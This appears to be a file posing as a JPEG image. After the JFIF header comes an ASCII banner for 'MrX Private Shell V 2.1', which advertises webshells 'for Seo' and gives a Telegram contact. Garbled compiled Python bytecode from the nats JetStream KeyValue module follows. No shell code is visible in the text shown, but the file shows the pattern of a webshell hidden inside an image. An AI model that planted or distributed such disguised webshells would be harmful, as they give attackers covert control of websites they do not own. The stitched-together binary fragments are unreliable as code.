����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
�
M\
�mge�� �
� d dl mZ d dlZd dlZd dlZd dlZd dlmZ d dlm Z m
Z
mZ d dlZ
d dlZ
d dlmZ e rd dlmZ dZdZd Zd
Z ej e� � Z ej d� � Zdd�Z G d� d� � Z G d� d� � ZdS )� )�annotationsN)� dataclass)�
TYPE_CHECKING�List�Optional)�api)�JetStreamContextzKV-Operation�DEL�PURGE�subz^[-/_=\.a-zA-Z0-9]+$�key�str�return�boolc � � t | � � dk s| d dk s| d dk rdS t t � | � � � � S )Nr �.���F)�lenr �VALID_KEY_RE�match�r
s �j/builddir/build/BUILD/imunify360-venv-2.6.2/opt/imunify360/venv/lib/python3.11/site-packages/nats/js/kv.py�
_is_key_validr ) sJ � �
�3�x�x�1�}�}��A��#�
�
��R��C����u���"�"�3�'�'�(�(�(� c � � e Zd ZdZdS )�StopIterSentinelz=A sentinel class used to indicate that iteration should stop.N)�__name__�
__module__�__qualname__�__doc__� r r r r / s � � � � � �G�G��Dr r c �* � e Zd ZdZe G d� d� � � � Z ed�� � G d� d� � � � Zd3d�Zd4d5d�Zd6d7d�Z d8d9d�Z
d:d;d �Z d<d=d"�Z d<d>d#�Z
d6d?d$�Zd@dAd'�ZdBd(�Z G d)� d*� � ZdCd+�Zd6dDd.�ZdEd0�Z dFdCd2�ZdS )G�KeyValuea�
KeyValue uses the JetStream KeyValue functionality.
::
import asyncio
import nats
async def main():
nc = await nats.connect()
js = nc.jetstream()
# Create a KV
kv = await js.create_key_value(bucket='MY_KV')
# Set and retrieve a value
await kv.put('hello', b'world')
entry = await kv.get('hello')
print(f'KeyValue.Entry: key={entry.key}, value={entry.value}')
# KeyValue.Entry: key=hello, value=world
await nc.close()
if __name__ == '__main__':
asyncio.run(main())
c �Z � e Zd ZU dZded<